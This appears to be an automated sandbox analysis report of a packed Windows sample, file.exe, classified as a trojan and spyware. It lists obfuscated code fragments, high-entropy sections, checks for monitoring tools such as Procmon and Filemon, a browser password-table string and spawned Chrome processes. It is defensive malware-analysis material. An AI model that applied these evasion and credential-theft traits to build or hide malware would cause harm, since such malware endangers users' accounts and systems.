Source: file.exe, 00000000.00000003.2333202209.000000000667D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2341368467.00000000067C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2335572880.000000000669F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2335486080.00000000065EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2336640584.00000000065ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2334043572.0000000006043000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2340183007.00000000067B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2344362217.00000000065E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2334129046.00000000065EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2334469113.00000000065ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332871895.0000000006047000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2376520663.0000000005E65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2344756156.00000000065F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2341941326.00000000066F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2341215795.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2344624376.000000000685C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2335659214.0000000006761000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2338058794.00000000065E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2341014281.00000000066E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2341108092.00000000065E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2345164157.0000000006724000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2342521008.00000000065EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2345041638.00000000065EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2334381291.0000000006685000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2338405773.00000000065ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2342740180.00000000065E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2336909997.00000000065E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330810930.0000000005F36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2335040431.00000000065ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332009496.0000000005F36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2340063376.00000000066CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2336726193.00000000066B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2337713975.000000000679B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332760030.00000000061E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2378741402.0000000005D86000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2338613860.00000000065F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2338860353.00000000066C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2342049427.00000000065E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2378650689.0000000005DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2337616438.00000000066BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2340754496.00000000065E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2346231236.00000000065EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2335195709.00000000065E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2335755435.00000000065E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332955636.00000000065F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2343790773.0000000006705000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9987085199511401
Source: file.exe	Static PE information: Section: zkcxhtkx ZLIB complexity 0.9946008888846272

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/67@7/7

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2122791000.0000000005D4A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2155964877.0000000005DE1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2155779858.0000000005D4B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122700438.0000000005D64000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 28%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1728 --field-trial-handle=1988,i,17902174310795812285,10958693031429815383,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1976,i,8889273046663356673,18172762526831080646,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1728 --field-trial-handle=1988,i,17902174310795812285,10958693031429815383,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1976,i,8889273046663356673,18172762526831080646,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1841152 > 1048576

Source: file.exe

Static PE information: Raw size of zkcxhtkx is bigger than: 0x100000 < 0x197600

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.c90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zkcxhtkx:EW;aryoitqh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zkcxhtkx:EW;aryoitqh:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c4643 should be: 0x1c9433

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: zkcxhtkx
Source: file.exe	Static PE information: section name: aryoitqh
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B6E69C push eax; mov dword ptr [esp], esi	0_2_06B6F782
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B6D6AA push edx; mov dword ptr [esp], edi	0_2_06B6D898
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B73E94 push ebp; mov dword ptr [esp], ecx	0_2_06B759E8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B70E9F push edx; mov dword ptr [esp], esi	0_2_06B734E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B7369D push edx; mov dword ptr [esp], eax	0_2_06B7518F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B70E99 push esi; mov dword ptr [esp], eax	0_2_06B7247A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B71E8D push 0E935EB7h; mov dword ptr [esp], esi	0_2_06B71ED6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B716E4 push ebp; mov dword ptr [esp], edi	0_2_06B716EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B6E6E2 push 1915AB05h; mov dword ptr [esp], ebp	0_2_06B6EEFB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B6E6E2 push edi; mov dword ptr [esp], 7BBDD404h	0_2_06B6F0DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B6F6D9 push 39A248A2h; mov dword ptr [esp], ecx	0_2_06B6F6F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B71A5F push 63092826h; mov dword ptr [esp], edi	0_2_06B71A8C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B71A5F push ebx; mov dword ptr [esp], 51B75085h	0_2_06B71A90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B726CB push ecx; mov dword ptr [esp], ebp	0_2_06B726D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B6CE3D push ebp; retf	0_2_06B6CE3E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B6CE06 push edi; mov dword ptr [esp], ecx	0_2_06B6D04F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B6CE06 push ebp; mov dword ptr [esp], 5FED2273h	0_2_06B6D2EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B6CE06 push edi; mov dword ptr [esp], eax	0_2_06B6D38D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B6CE06 push edx; mov dword ptr [esp], 687DC9B2h	0_2_06B6D516
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B6CE06 push ecx; mov dword ptr [esp], esi	0_2_06B6D52F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B7460F push 6A8A4C44h; mov dword ptr [esp], edi	0_2_06B7463F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B6C667 push eax; mov dword ptr [esp], ecx	0_2_06B6C90D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B70E55 push 26B8E3B4h; mov dword ptr [esp], ebp	0_2_06B74808
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B9DE45 push 2591C62Ah; mov dword ptr [esp], eax	0_2_06B9E29B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B9DE45 push 5C9F4728h; mov dword ptr [esp], ebp	0_2_06B9E36D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B9DE45 push ebp; mov dword ptr [esp], edx	0_2_06B9E3B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B9DE45 push ebp; mov dword ptr [esp], ecx	0_2_06B9E3D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B9DE45 push 5966E722h; mov dword ptr [esp], ecx	0_2_06B9E506
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B9DE45 push edi; mov dword ptr [esp], 2CCC4EF9h	0_2_06B9E50A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B9DE45 push ecx; mov dword ptr [esp], edi	0_2_06B9E543
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B747A0 push ecx; mov dword ptr [esp], ebp	0_2_06B747AA

Source: file.exe	Static PE information: section name: entropy: 7.976867611725789
Source: file.exe	Static PE information: section name: zkcxhtkx entropy: 7.954509219804239

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

